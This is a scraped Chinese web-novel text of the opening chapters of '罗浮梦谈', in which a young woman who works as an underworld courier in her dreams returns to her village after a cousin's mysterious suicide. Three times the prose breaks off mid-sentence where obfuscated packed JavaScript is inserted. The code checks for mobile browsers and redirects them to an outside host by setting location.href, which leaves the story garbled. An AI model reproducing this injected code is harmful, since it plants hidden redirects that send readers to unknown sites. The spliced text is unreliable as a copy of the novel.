《罗浮梦谈》 1. 庄辰岚阴间打工记 五更鬼市,血月照天,银筝拥夜。 销魂桥上,狐面少女慢摇轻罗小扇,迷香洞中,两头先生三拍醒木惊奇;不思池中,骷髅花灯盏盏,忘乡台上,魂幡纸带飘飘…… 就在这一派祥和的死机勃勃中,一道朱红色的身影突然如箭般从中掠过,其所到之处无不玉碎瓦破,惊叫连连,鬼仰怪翻。 还没等它们反应过来,紧跟着又是一个黑影袭来,骂骂咧咧的鬼群与扶到一半的摊位瞬间又被撞得七零八落。 ——这黑影正是庄辰岚。 她在梦中一魂出窍,到地府干阴差数月有余,所有工作就是护送阳间刚死的灵魂到阴间鬼门关报道。 入职第一天,阴差总管秦九拍着庄辰岚的肩膀: “岚儿啊,你可是我千挑万选选出来走阴的生无常,万里挑一独一无二,好好干!给自己多积阴德!” “生无常”这名字听着炫酷无比,其实就是地府缺劳力时在人间强征的临时工。 今天庄辰岚刚把魂魄交到鬼门关,一道朱红色的身影就贴着她呼啸而过,可惜还没跑多远,就被一把铁钩拽了回去。 庄辰岚朝这铁钩飞来的方向看去,只见一黑一白两个男人正踩着一个身穿朱红袍却披头散发的鬼魂,这朱红袍子上还有五色绶带和金色绣线,倒像庄辰岚老家供奉的灶王像上画的神官服。 两个男人刚松了口气,这神官鬼突然剧烈挣扎起来,伴随尖锐的嘶吼,他竟是硬生生舍弃了一块肉,把自己从铁钩子上拔下来跑了。 庄辰岚也不知想到了什么,转身就追,一人一鬼追着追着就到了这鬼市。 此地金阁玉楼高连霄汉,亭台舞榭北构西折,庄辰岚一边盯着视线中那团红色,一边在错落的回廊与陌生的街道中确定追击路线,本着本人不是本地人的原则,各种东西撞起来也是毫无心理负担。 连续被撞两次的鬼群此时怨声载道,尤其是其中一个如小山般庞大的猪头屠夫,它长鼻子里喷出两股热气,露出獠牙刚要发作,只见迎面走来一黑一白两个男人。 黑的那个面如霜雪,穿着人间样式的黑色西装,领带上用银线绣着“天下太平”。白的那个面如春风,穿着相似样式的白色西装,领带上用金线绣着“一见生财”。 两人皆是一样的身长玉立,正是地府的拘魂使者黑白无常。 白无常谢必安向上抬了抬食指,猪头屠夫就重新站了起来,刚才被他压扁的几个小鬼还没等身体恢复,就一溜儿烟跑了。 谢必安笑眯眯道:“阎罗殿捉拿凶煞,多有得罪。” 猪头屠夫知道惹不起他俩,憋了一肚子气,好不容易斟酌好台词想嘴上讥讽几句,就听见身后传来咚得一声。 范无救和谢必安纷纷绕过他。 妈的,更气了。 只见庄辰岚一手拎着神官鬼的红袍后领,一手拿着顺着刀刃往下滴血的斧头,刚才还面目狰狞的厉鬼此时已身首异处,鬼头被庄辰岚随意扔到地上,断颈处冒出股股黑烟。 范无救和谢必安皆是一惊,看向庄辰岚的眼神也多出几分好奇。 谢必安上前一步微笑:“在下谢必安,请问姑娘尊姓大名?在何处任职?” 庄辰岚道:“我是生无常。” “哦?”谢必安道,“这可真是大材小用了。” 鬼头滚到谢必安脚下,他抓起头发拎到眼前看了看——神官鬼目眦欲裂,獠牙外翻,但跟刚才充满仇恨与怒意的表情不同,这是极度恐惧的神态,好像他目睹了什么非常可怕的事情。 谢必安把这颗头往范无救那边移了移,打趣道:“这家伙,这么怕死。” “人之常情。”范无救道。 庄辰岚问:“这是个什么东西?” 谢必安把头扔回地上:“这鬼虽着神官服,却本是凡人死后的普通魂魄,他生前懂些门道,不甘心就此死去,就用歪门邪法受了人间一年香火,妄想由此尸解成仙,几天前被我和无救捉拿,投入了无间地狱——几百年没见过进了无间还能跑出来的,看来这一年香火也没白受,如果再过几年,唉,说不定我和无救都治不了他喽。” “这么厉害,”庄辰岚把斧头收进包里,“那得加钱。” 谢必安微笑的表情裂了:“加钱?加…加什么钱?” “人民币啊,美元也行。” 谢必安硬挤出一个微笑:“原来你还不知道啊,地府给你们这种员工的工资都是阴德,但是呢阴德也能转化为阳德,这阳德又能转化为现世的福禄寿还有财……” 庄辰岚打断他:“秦九也是这么说的,我不管这些,我只要钱,我知道你们拿得出来。” 她绕过两人:“时间到我先走了,有什么事去找秦九,她是我老板。” 庄辰岚往前没走几步,就听见背后谢必安的声音: “跟钟天师说事情已经解决,让他别白跑一趟了。” 庄辰岚回头:“钟天师?钟馗吗?” 谢必安似是有点吃惊她还在这里,也转过身来:“没错,这神官鬼本是他负责,只因钟天师前几日去了南天门追捕叛逃天兵,看管疏忽,这才让他跑了出来。” 庄辰岚心道这民间画本里的人物,黑白无常和钟馗,南天门和地府,居然真的确有其人,确有此地。 这应该是正常的吗?细细一想,她竟感觉有些惊悚。 至于她老板秦九,传说里倒没有这号人,因为她生前跟庄辰岚一样,是个普通人。 秦九原来是名警察,在一次恐怖袭击中牺牲,因为生前有功,加上能力卓越,就到了这地府成了阴差总管。 秦九说过,人间传说里的人物法力都大的很,专门处理棘手事件,勾普通死人的魂这种工作让范无救和谢必安来干就是大炮轰蚊子。 庄辰岚道:“南天门缺人吗,有活儿我也能干。” 当然得是工资到位。 谢必安道:“阳魂进入阴界地府已是极限,南天门虽说跟地府属于同一纬度,但怎么说也是神仙之地,没有高深法力的得道之人是无法进入的。” 庄辰岚道:“我不信,让我试试,南天门我还没去过呢。” 谢必安心道你没去过的地方多了去了,但还是保持微笑:“姑娘你还真是自信啊,虽然你武艺超群,但没有修为法力,就算试一百次,进不去还是进不去。” 谁知范无救突然开口了:“可以让你试一次,但是得付费。” 庄辰岚果断答应:“好,就当咱们打个赌了,如果我进不去,这神官鬼的报酬我就不要了,如果我能进去,那就是你们输了,报酬照样给我。” 范无救也不多话,直接变出索魂钩,铁链在庄辰岚手腕上绕了两圈。 他修长的两指举至面前,薄唇微启,像是在念什么咒语,紧接着,庄辰岚便感到一股巨大的风向自己吹来,不由闭紧双眼,再一睁开,眼前已变了景象。 泛着柔光的五色祥云就在脚下,朱瓦碧漆的大门赫然眼前,庄辰岚抬头往上看,“南天门”三个大字发出耀眼的金光。 范无救和谢必安懵在原地。 ——就该是这样! 庄辰岚确认了心中那股无名的感觉。 刚才听谢必安说凡人无法来此,脑海中就突然有种强烈的感觉: 自己一定可以到达这里! 刚刚空间穿越的瞬间,庄辰岚甚至生出无限的眷恋与亲切感。 可是,为什么会有这种感觉?为什么会突然生出这种想法? 范无救的冰块脸都裂了,他不信邪般举起两指,庄辰岚眼前又变了景象。 “这是哪?” 谢必安:“凌霄殿。” 又变。 “这儿呢?” “瑶池。” 再变。 “这儿?” “紫竹林。” 范无救懵了:“到底为什么?!你到底是什么人?!” “应该只是一个普通人。”庄辰岚补了一句,“在我的认知里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977868|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她抖落手腕上的铁链,走上前转了一圈。 谢必安拿手肘捅了捅身边自闭的范无救:“你去秦九那里问清楚,这人到底什么来头。” 庄辰岚观光完一圈回来了:“比想象中差点儿。” 走之前拍拍范无救的肩膀:“工资别忘了给哈。” —— 庄辰岚从合租房卧室的床上醒来,第一件事就是翻枕头。 枕头底下压着十几张钞票,数了数,一共一千五百块。除了当天上工的五百,其余的应该就是追捕那假神官的报酬了。 庄辰岚暗骂一声真抠。 走阴工作算是日结,但并不是每天都会上工,一个月能去五次都算多,这些钱交房租后就不剩多少了。 即使当过无常演过渡者引过亡魂,醒了也照样是凡胎吃五谷讨生活。 庄辰岚重新躺回床上,她的斧头静静立在床边,上面的鲜血已经不见踪影。 庄辰岚的母亲和外公都是屠户,这斧头就是他们以前杀猪用的,因为杀气太重,反而以毒攻毒,以恶制恶,成了捉鬼辟邪的法器,庄辰岚当阴差时就用它来砍小鬼,有时甚至刚拿出来,那些觊觎灵魂的精怪就被吓得退避三舍。 而且自从庄辰岚拿它走过阴后,这斧头就像是被附了魔,再也没有卷过边,生过锈,即使再怎么折腾使用,也依旧锋利无比。 庄辰岚惊觉自己也算是继承了老妈的衣钵,都是用同一把斧头,杀猪和杀鬼好像也没多大区别,而且世风日下,杀鬼可能还没杀猪挣得多。 想到这里,庄辰岚开始盘算什么时候才能攒够去京都美院的学费——这所国内知名的美术教育机构,中央艺术大学的摇篮,进去便等于一只脚迈进了中大的存在,有着极其昂贵,不菲,高不可攀的天价学费。 然而,庄辰岚并不是美术方向的艺考生,相反,她在一年半前考入了国内名校东山大学的机械与自动化专业,并在大一结束后光速退学。 庄辰岚还记得在校长室办理退学手续的那个遥远的下午,阳光透过办公桌后面的两扇窗子照进来,校长和院长背光而立,两个人都像影子一般。 校长道:“你确定你的父母都同意了?” 庄辰岚道:“我只有母亲和外公两个亲人,他们在我小时候就去世了。” 校长沉默了,他从笔筒里拿起黑色中性笔,拔开笔帽后却停住了,不知是挽留还是不解: “我看了你一年来的成绩,虽说没有特别出彩,但是仍远超及格线,应该不会有学业上的困难,如果是人际关系,这怎么不能忍一忍呢?反正都是可以调解的嘛。是不是那个姓林的女孩…” “不是,”庄辰岚打断他,“不是她的原因,我只是不喜欢这个专业。” 站在一旁的院长道:“她说她想去学画画,我记得那个林听也是,每天都画。” 庄辰岚有些急躁:“我说了跟她没关系。” 校长似是恨铁不成钢地叹了口气:“画画这种事情,你完全可以当爱好嘛,靠艺术吃饭很难的,你又没有家庭托举,得现实一点啊,到时候怎么养活自己?” “对啊,”院长也道,“只要你能从咱们学校毕业,就肯定能有稳定高薪的工作,这么光明的未来,为什么要放弃呢?你一个人考上东山大学多不容易——要不你再回去考虑考虑?如果实在读不下去,休学也行啊,干嘛把自己的退路堵死……” 院长喋喋不休,庄辰岚忘记自己之后答的是什么了,她只记得当时窗外飞着两只很不常见的红色蝴蝶,在雪白的玉兰花间飞舞。她望着这副画面出了神。 但最后,她是拿着校长签字的退学申请离开的办公室。 突然,手机叮咚一声,微信的消息提示音打断了庄辰岚的思绪,她拿起手机查看,心里咯噔一下。 发消息的是她的青梅竹马庄海月: “庄辰星昨晚跳楼自杀,他妈进了精神病院,村长说咱们跟星星同辈的人都要来给他出殡,速速回村。” 2. 回村见海月 收到庄海月的消息,庄辰岚立马打长途车回到了老家清平市南华村。 南华村原名庄家村,这里百分之九十的村民都姓庄,他们自称是南华真人庄子的后代,因为庄子曾隐居南华山,所以庄家村就改名叫南华村了。 上世纪八十年代,南华村因其完整典型的村落景观与宗族祠堂建筑被评为具有历史文化价值的古村落,几十年来断断续续的被政府修缮开发,成了小有名气的旅游景点。 村里建有庄子纪念馆和庄子雕像,小时候庄海月总会编一些“雕像会在半夜眨眼”“祠堂里会传来叹息声”之类一听就假的谣言,把观光的小孩吓得不敢再来。 庄辰岚此时正跟其他两个人挤在长途小轿车后排,她觉得坐在中间的男人得有二百斤,隔着他都看不见另一个人。 车子一会儿加速一会儿刹车,颠颠簸簸晃得人头晕脑胀。 要问她为什么不坐高铁回家,倒不是因为想省钱,而是她的斧头根本过不了安检。 电话铃响了,庄辰岚不用看就知道是庄海月打来的,她艰难地从兜里掏出手机连上蓝牙。 耳机里果然传来庄海月的声音:“岚岚,你快到家了吗?那个,麻烦你在村口接个人呗。” 庄辰岚按按太阳穴:“谁?” “我一同学的弟弟,超高校级民俗爱好者,千里迢迢来到咱们村想记录一下风土民情,你把他带进来他就不用花钱买门票了,回头我请你吃饭!” 庄辰岚问:“叫什么,长什么样,在哪个门?” 庄海月道:“一个帅气小男高,名字叫程天玑,现在就在正大门,放心,我也已经告诉他你的样子了,肯定完美对接没有问题。” “你怎么不自己去?” “你听我给你狡,啊不,你听我给你解释,正大门太远了,我在星星家帮忙走不开,正巧你又顺路,这就叫物尽其力,人尽其用嘛…” 任凭她说的天花乱坠,庄辰岚只知道这家伙是懒病又犯了。 “先别挂,还有个问题,”庄辰岚道,“他真的是自杀吗?” 直到现在,她对于庄辰星跳楼的消息仍然没有实感,记忆中那个如春风般和煦与温柔的少年,怎么会突然死掉了?而且还是自杀。 一瞬间,她想起了林听。 庄海月沉默片刻道:“回来再说。” 挂掉电话,庄辰岚把头转向窗外。 冬日下午的阳光本是好物,但来错地方也只会惹得人心烦。 庄辰岚刚把自己这边的车窗打开,就听见哇得一声——坐在另一车窗旁的人吐了。 呕吐物溅在车前椅和中间的胖男人身上,司机猛地一踩刹车,他吐得更厉害了,胖男人发出了生无可恋的哀嚎。 司机熟练的说出那句:“吐车里五百,门上二百。”熟练的让人心疼。 庄辰岚第一个想法是:幸亏没坐他旁边,第二个想法是:感谢中间这个男人够胖帮她抵挡了攻击。 一番折腾后到家已是黄昏,此时的正大门已然失去了白日的喧闹,庄辰岚看到一个高挑明净的少年正乖乖站在村墙边,顿时心跳漏了一拍——这不是庄辰星吗? “庄辰星”看见她后也赶紧上前:“你好,是辰岚姐吗?” 庄辰岚这才反应过来,他应该就是庄海月让自己接的那个人了。 实在不怪她记性不好,只是两人相貌着实神似。 庄辰岚朝他点点头:“跟我来。” 向保安出示居住证后,两人进入了南华村。 庄辰岚道:“不好意思,让你久等了。” 程天玑连连摆手:“没关系的!” 他朝庄辰岚的黑色双肩包伸出手:“我来帮你拿。” “不用不用。”庄辰岚连忙婉拒。 程天玑被拒绝后也不在意,他充满好奇地问道:“辰岚姐,你是模特吗?” 庄辰岚新认识的百分之九十的人都会问她这个问题,她早就习以为常,甚至下一句话是什么她都能猜个八九不离十。 庄辰岚答:“不是。” 程天玑遗憾道:“我感觉辰岚姐你很适合做模特,肯定会火。” 庄辰岚暗爽:又猜中了。 其实她之前确实兼职做过模特,去面试时还被几家模特公司抢着要,但是工作一段时间后,庄辰岚发现自己不喜欢这份工作,在她看来,自己的投入已远远大于回报,于是她果断放弃了这份兼职。 即使现在的自己最需要钱,她也不是什么工作都会欣然接受。 老宅自从母亲和外公去世后就再也没有新修过,金色的斜阳光洒在它仿佛亘古不变的灰墙灰瓦上,只有挂在门楼上的两个快被尘土染成黑色的灯笼昭示着时间的流逝。 庄辰岚没想到庄海月此时正坐在自家大门旁的石墩子上,听见两人的脚步声,她从游戏机中抬起头来,朝这边挥了挥手。 庄辰岚的这位青梅竹马从国内最顶尖的京华大学休学一年有余,每天不是在家里宅着就是在村里跟个村溜子似的乱逛。 昔日的天之骄子高考状元,如今的休学废物读书呆子。如果村里人的饭后谈资也有热搜榜,那么庄海月必定常年占据前三。 庄辰岚用一把铜制的长条钥匙开锁,吱呀一声,红木大门被推开,灰尘铺面而来。 她用手在面前扇了扇,招呼两人进院子。 庄海月放下游戏机:“你们可算来了,我有件怪事要说,没人听我讲话我都要憋死了。” “等我把床铺收拾完。” 庄海月被噎了一下,拉起庄辰岚就走:“别想睡觉了,明早星星出殡,今晚要去他家守夜。” 她又朝程天玑招招手:“你也来。” 庄辰岚重新把门关上,问道:“林风什么时候到?” “她不回来了。”庄海月道,“说是学校里出了点问题,而且从美国回来确实太远,再加上她也改姓了,所以村长就允许她不用回来了。” 林风是庄海月的双胞胎妹妹,两人的父母在姐妹俩初中毕业时离婚,他们卖掉了中海市的楼房,父亲江安带着庄林风去了美国,随他改姓江,江林风在美国读了高中和大学。 庄海月则跟着母亲庄年依回到南华村的老宅,只是庄年依经常跨国出差,家里只剩庄海月一人,碰巧庄辰岚和她读同一个高中,两人便常在一起,比小时候更为熟络。 三人走在去庄辰星家的路上,天已经完全黑了,村里的路灯并不多,程天玑打开手机的手电筒照亮。 庄海月瞥了一眼他亮起的手机屏幕,惊讶道:“你手机壁纸这是——周以?” 程天玑羞涩地笑笑:“我很喜欢他的电影。” “有品位!”庄海月道,“哎,你觉得他长得怎么样?” “这还用问?”程天玑遇到同担两眼放光,“以哥绝对是全世界最帅的!” 庄海月笑得花枝乱颤,她拍拍程天玑的肩膀:“不过你运气有点差。” 程天玑被这没头没尾的话搞得有点懵:“什么意思?” “没事没事,不用在意。” 庄辰岚道:“现在该说了吧,辰星到底怎么了?” 庄海月一拍手掌:“这就是我要跟你说的怪事了。” 据庄海月所说,昨天晚上九点十三分,庄辰星在清平一中的三楼跳楼自杀,当场身亡。 监控显示,第二节晚自习下课后,庄辰星走出教室,径直来到走廊窗户边,打开后一跃而下。 他的动作极其干脆,旁边的学生甚至都没有察觉,等到他们反应过来,庄辰星已经摔在水泥地上,半张脸与地面粘到一起,一只眼珠也因冲击力掉了出来,欲掉不掉的悬在脸上晃晃悠悠,鲜血流进砖块与砖块的缝隙里,好像他正躺在一个诡异的阵法之中。 这看起来毫无疑问是一起自杀事件,就在警方马上要结案收工时,一个老刑警却敏锐的察觉,庄辰星的父亲庄年良表现不对——在得知独子自杀身亡的消息后,他比起伤心,更多的是一种奇怪的恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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庄辰星上高三,几乎一整天都不在家里,赵梅能跟他见面的时间只有晚上,她会给下晚自习的庄辰星端去切好的水果。 有一天赵梅突发奇想,想偷偷进房间开个玩笑吓儿子一跳,于是她轻轻打开房门,却发现书房内空无一人。 赵梅以为儿子在上厕所,于是直接把水果放在桌子上后就走出了房间,没走两步,她突然想起书房里有杯子要刷,于是转身进门,可谁知刚才还不见的儿子此刻就趴在书桌旁。 赵梅只觉得一阵寒气直冲天灵盖,但无论怎么问,庄辰星只说自己刚刚一直就在这里。 从那晚以后,赵梅总觉得儿子脸上会出现陌生的表情。 庄辰星被她盯得毛骨悚然,就去找父亲庄年良求助,两人带着赵梅去医院检查,医生说是压力太大导致激素分泌失调,进而出现了幻觉,给开了几副药。 赵梅吃了药,感觉确实轻松了不少,等到回家后就迷迷糊糊地睡着了,然而这次,她又梦到了庄辰星。 在这个梦里,庄辰星似乎恢复了神智,他站在一个似乎废弃已久的电影院里,告诉赵梅自己现在过得很好,已经不再受冻挨饿了,因为他现在跟爷爷奶奶生活在一起。 赵梅听到这句话后快要崩溃了,因为庄辰星的爷爷奶奶早就死了! 她让儿子马上跟自己走,但庄辰星却说自己不能回去,因为自己的身体已经被别人占了。 赵梅急忙问那个人是谁,却怎么都听不清庄辰星说的名字。 一切的感觉都太过真实,以至于赵梅醒来后就冲进儿子房间,抓着庄辰星就掐,把下班回来的庄年良吓了一大跳。 他还记得,当时妻子就像发了疯的猛兽,一边掐着儿子,一边喊着“你是谁?!”“把儿子还给我!”之类的话,场面诡异至极。 庄年良把妻子送到医院,却检查不出什么问题,她只是一直蹲在病床上,喃喃道自己的儿子死了,激动起来还会抓住医护人员哭诉,辱骂庄家的十八辈祖宗,最后不得已才转到精神病院。 庄海月道:“上午我去看望赵阿姨,她说她知道占了庄辰星身体的是谁了。” 庄辰岚问:“是谁?” “她说,是我们的祖先。” 3. 茧山蝴蝶树和庄辰星 此言一出,庄辰岚不禁打了个冷战。 程天玑控诉道:“海月姐,不要在这种场合下讲鬼故事啊!” 庄辰岚问:“你信吗?” 庄海月道:“天下之大无奇不有,巧合,心理暗示,怎么都能解释,反正世界上不可能有鬼啦。” 庄辰岚心道孩子你错了,这世上还真有鬼,有的还归我负责。 仔细一想这个故事,庄辰岚有好几处说不通的地方: “如果赵阿姨说的是真的,真正的庄辰星已经死了,庄家祖先夺舍了他的身体,那为什么他还会乖乖上学乖乖生活?而且最重要的是,为什么他会突然自杀?不惜侵占子孙身体也要复活的灵魂,为什么又选择去死?总不会是突然良心发现了吧。” “而且,”庄辰岚想起他的死状:“从三楼跳下去而已,会有那么大的冲击力吗?你应该还记得吧,一中的三楼不算高。” 程天玑道:“也许是正好脸先着地呢?” 庄海月道:“所以说这事儿很怪,唯一的解释就是各种巧合。” 庄辰岚心道庄海月这厮从小就喜欢编鬼故事,这件事也难免夹带私货夸大其词,不能全信,不如走阴时让秦九给自己行个方便,找庄辰星的魂魄问个清楚。 三人说着已走到庄辰星家门口。 门楼上挂着两个白灯笼,招魂幡也从围墙内伸出来,上面18张白色长纸条,正对应亡者庄辰星的年龄,被风吹得窸窸窣窣响。 小小的院子搭了灵堂后已不剩多少空间,被前来守夜帮忙的人挤满了,在灵堂的白炽灯光覆盖不到的区域,三五根惨白的蜡烛摇着昏黄的光。 庄海月问:“小程啊,你不怕吧?” 程天玑道:“当然不怕。” “不怕就好,”庄海月拍拍他的肩膀,“你把帽子口罩戴上,捂严实点儿。” “?”程天玑道:“为什么啊?” 庄海月叹了口气:“实话告诉你吧,你跟棺材里躺着的那位长太像了,我怕你吓到别人,也怕惹他爸伤心。” 听闻,程天玑一愣,他望了望灵堂的方向,还是照做了。 这边庄年良看到庄海月和庄辰岚,连忙抹了把眼泪站起来。 两人跟庄辰星年龄相仿,尤其是庄辰岚,她跟庄辰星一起长大,庄年良一看到她就拉着不撒手,止不住地嚎啕大哭。 庄辰岚心头一酸,诚心想安慰几句,但这景象与几年前母亲与外公去世的场景格外相似,她怕自己一开口,情绪就控制不住了。还是庄海月替自己解围,“节哀顺变”等客套的公式话一句一句往外蹦。 庄辰岚突然有些好奇她这几年到底经历了什么,明明之前也是三棍子打不出一个屁的性格,现在怎么变得如此圆滑? 走到供桌前,庄辰岚发现上面居然摆着一套酸菜鱼火锅。 庄海月道:“这生鱼片昨天招了好几只野猫过来,还有一只黑猫,把守夜的吓个半死。” 庄年良解释道:“辰星去世前特别喜欢吃这个火锅,恨不得一天三顿都吃。” 所以现在即使冒着吸引野猫的风险也要摆上。 庄辰岚感到奇怪:印象中庄辰星从小就不喜欢吃鱼啊。 忽略酸菜锅飘来的香味,庄辰岚蹲在冰棺前烧了几张黄纸。 冰棺底部的电线插在从屋内接过来的插座上,维持着低温防止尸体腐烂。庄辰岚一直觉得它不像棺材,更像科幻电影里的休眠仓,所以小时候的她一直相信躺在里面的母亲和外公会重新醒过来。 庄年良道:“你再去看看他吧,找人给修了修,没那么吓人了,他之前一直念叨说过年等你回来...” 说到这里,庄年良和庄辰岚都心脏抽痛了一下,再也说不出话。 庄辰星是辰字辈年龄最小的孩子,但性格却沉稳温柔,人如其名,透过银丝眼镜的眼神如同星光一般,既温和又有力量,小时候他们这群孩子吵架,他总是劝架的那个。 冰棺的棺盖是透明的,上面粘着用条幅布做的花,连塑料都不是,只是用最廉价的合成纤维制成的形状不规则的白花,十八岁的庄辰星就静静躺在里面。 然而,就在庄辰岚看到他遗容的瞬间,一种奇怪的感觉油然而生,然后又闪电般迅速退去,让人分不清这感觉究竟是真实还是错觉。 庄辰岚揉了揉眼睛,又多看了几眼,但那种感觉却没有再次出现,庄辰星轻阖双眼,宛如睡着一般,无比正常。 庄年良道:“大晚上怪冷的,你们也别守夜了,家去吧,明天再过来。” 庄海月道:“好嘞年良叔,麻烦你了,那我们明天再过来。” 三人从灵堂走到门口,喧闹声似乎瞬间消失,院内院外宛如两个世界。 庄海月递给程天玑一张卡片:“我把居住证借你,明天下午你去祠堂等我,祠堂在哪你知道吗?” 程天玑接过居住证:“知道知道,谢谢你海月姐。” 庄海月对他挥手告别,又看向庄辰岚:“喂!” 庄辰岚还在思索刚才那种莫名的感觉,被她突如其来的喊声吓了一跳。 “想什么呢?你今晚睡我家吧,我妈不在家。” 庄辰岚想起自己的床铺还没收拾,天色已晚,她也懒得客气: “你妈在家我也去。” 而且算算日子,今天该去上工了。 庄辰岚从来没像今天一样期待走阴召唤——她想见庄辰星的亡魂。 来到庄海月家,她道:“那个,你跟我睡一张床吧。” 庄辰岚道:“你家不是有客房吗?之前我不都睡那里。” “呃,现在不建议了,也不是,就是,”庄海月支支吾吾,“那里有点脏。” “无所谓,反正就一晚。” 庄辰岚打开客房房门,跟预想中不同,这里并没有脏到哪去,甚至算得上整洁。 她便直接躺在床上。 凌晨两点左右,一阵阴风突起,随后,熟悉的纸灰味儿扑鼻而来。 庄辰岚轻飘飘从床上坐起,已然身着无常黑袍,带着黑色高帽,再从包里拎出斧头,等待发布任务的阴差上级,这流程她简直不要太熟悉。 谁知这次来的居然是秦九。 秦九道:“岚儿啊,我是来通知你——你被开了。” 庄辰岚不可置信:“为什么?就因为跟范无救要了钱?这么小气?” “什么?你跟他要钱?!不是不是,绝对不是这个原因!”秦九眼神闪躲,“呃,但是具体什么原因我也不知道,白大人找我要过你的资料后,过了两天就通知我开除你,你好奇我也好奇。” 秦九好奇的是,庄辰岚究竟是何方神圣,居然能让阎罗殿亲自审理下令,要知道她当初暗中考察了她半年,除了体力和格斗能力出众,庄辰岚怎么看都只是个普通人。 而且就是因为考察期太长,沉没成本太高,所以秦九才答应了这个好不容易合格的庄辰岚付人民币的要求,不然她早就一脚把她踹开了。 庄辰岚知道生无常的工作制度有多么不讲道理,于是也不纠缠:“秦姐,我接受开除,我知道这不是你的意思,不想让你为难,你是个好人,呃,好鬼,所以能不能最后帮我个小忙?” 秦九道:“你别给我扣帽子,先让我听听是什么小忙。” 庄辰岚一看有戏:“我的族弟庄辰星前几天去世,我来不及见他最后一面,我们从小一起长大,所以想最后跟他好好道个别。” 秦九犹豫片刻:“上边儿禁止除了生无常外的生魂进地府,尤其是你。这样吧,我把他魂魄带来见你,就当是突然解雇的补偿了,你稍等片刻,我去去就来。” 秦九消失后,庄辰星坐回床上,看着躺在旁边的自己的身体,魂魄离体,她现在跟尸体没什么两样,如果庄海月此时进来,想到这里,庄辰岚走过去把门锁上。 自从回到村里,就没一件好事,先是听不着调的庄海月说庄辰星死的蹊跷,又在灵堂遇到那种奇怪的感觉,现在还被地府炒了鱿鱼,庄辰岚倚在门上,叹了口气。 突然,她闻到了一股奇怪的味道,是一丝若有若无的臭味,有些熟悉,但是被阴差带来的纸灰味儿掩盖,有些难以分辨。 不会是庄海月藏在客房的垃圾吧。 这时,房间中央凝起一股白烟,一道绿光闪过,秦九出现了,但只有她一人。 “庄辰星呢?” “地府里根本没这号人。” 庄辰岚道:“怎么会没有,你找清楚了吗?” 秦九道:“我堂堂阴差总管,还找不到一个魂儿?我找不到那就是没有。” 庄辰岚道:“他可是真死了,对不上号,你们不管?” 秦九翻了个白眼:“大惊小怪,这种事海了去了,可能出了什么事儿还在半路上没到地府,亏你还干过阴差呢,这就都忘了?” 庄辰岚确实不知道有这种情况,因为她从没让客户久等过。 她想了想道:“最后一个请求,劳驾移步看看尸体,就在不远。” 庄辰岚的目的是让秦九看看庄辰星的尸体有无异常,她仍然没有忘记第一眼见到遗体时的奇怪感觉。 如果在以前,她肯定会认为这就是一个普普通通的错觉,就像那些莫名出现的即视感一样,然而这次她也不知道,为什么自己会如此执着。 秦九本想拒绝,但转念一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977870|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,庄辰岚身份成谜,如果真是个厉害人物,今天卖给她一个人情,来日必有好处,于是便半推半就地答应了。 一魂一鬼来到灵堂,秦九看了眼遗体:“自杀的吧。” 庄辰岚心道前刑警果然厉害,等了半天,问:“没了?” 秦九奇了大怪:“你还想怎地?” “尸体没问题吧?” “能有啥问题,普普通通男尸一具。” 秦九作为阴差总管,尸体鬼魂见过无数,见识丰富经验老道,根本不可能看错,这样看来庄辰星就是正常死亡。 看来真是自己想多了,庄辰岚刚想松口气,另一口气又提了起来——既然自杀是真的,那他为什么会自杀? —— “岚,你长大后想做什么呢?” “想做什么?”庄辰岚躺在观鱼台上,脚插进湖水里,看着天上慢悠悠移动的白云,“什么赚钱做什么。” “唉?”庄辰星道,“那赚了钱之后又要干什么呢?” “有很多钱之后就不用上班了,那我就每天都画画。” “岚一直很喜欢画画啊,”庄辰星笑道:“我听我爸妈说,现在学电脑很赚钱呢,我姑姑的学生,他们考上大学后都选了电脑专业,但是这个听起来就很难啊,不过岚这么厉害,肯定能学会的。” 庄辰岚转头看向他:“那你呢?你想做什么?” 庄辰星骄傲道:“我想去做医生!今天刚刚决定的!” “所以你才会问我们这个问题吧。” 庄辰星计划得逞的笑笑,然后看向庄辰岚旁边的男孩:“那你呢,以,你以后想做什么?” “为什么一定要做什么?一直保持现在的样子不好吗?” 鸟鸣啾啾,鲤鱼从湖水中跃出,发出清脆的咕咚声,在夏日的阳光下,被叫做“以”的男孩的脸却晦暗不清:“你们到底为什么一直要想以后的事,以后,我们可是会分开的。” —— 庄辰岚被一阵敲门声惊醒,庄海月正在门外叫自己起床。 昨天舟车劳顿加上虚惊一场,她不知道自己什么时候睡了过去。 看向窗外,天上竟然下起了小雪,一个一个,粒粒分明,像白纸铜钱。 今天是庄辰星出殡的日子。 两人来到灵堂,亡者已经入殓,纸人,纸扎白马,祭奠花圈等丧葬用品堆满了院子。 庄年良和赵梅已经哭成了泪人,抱着棺材不撒手,庄辰岚听见周围的呜咽响成一片,但是庄海月没有哭,自己没有哭,江林风不在,以也不在,奇怪,庄辰星的这些青梅竹马都没有眼泪。 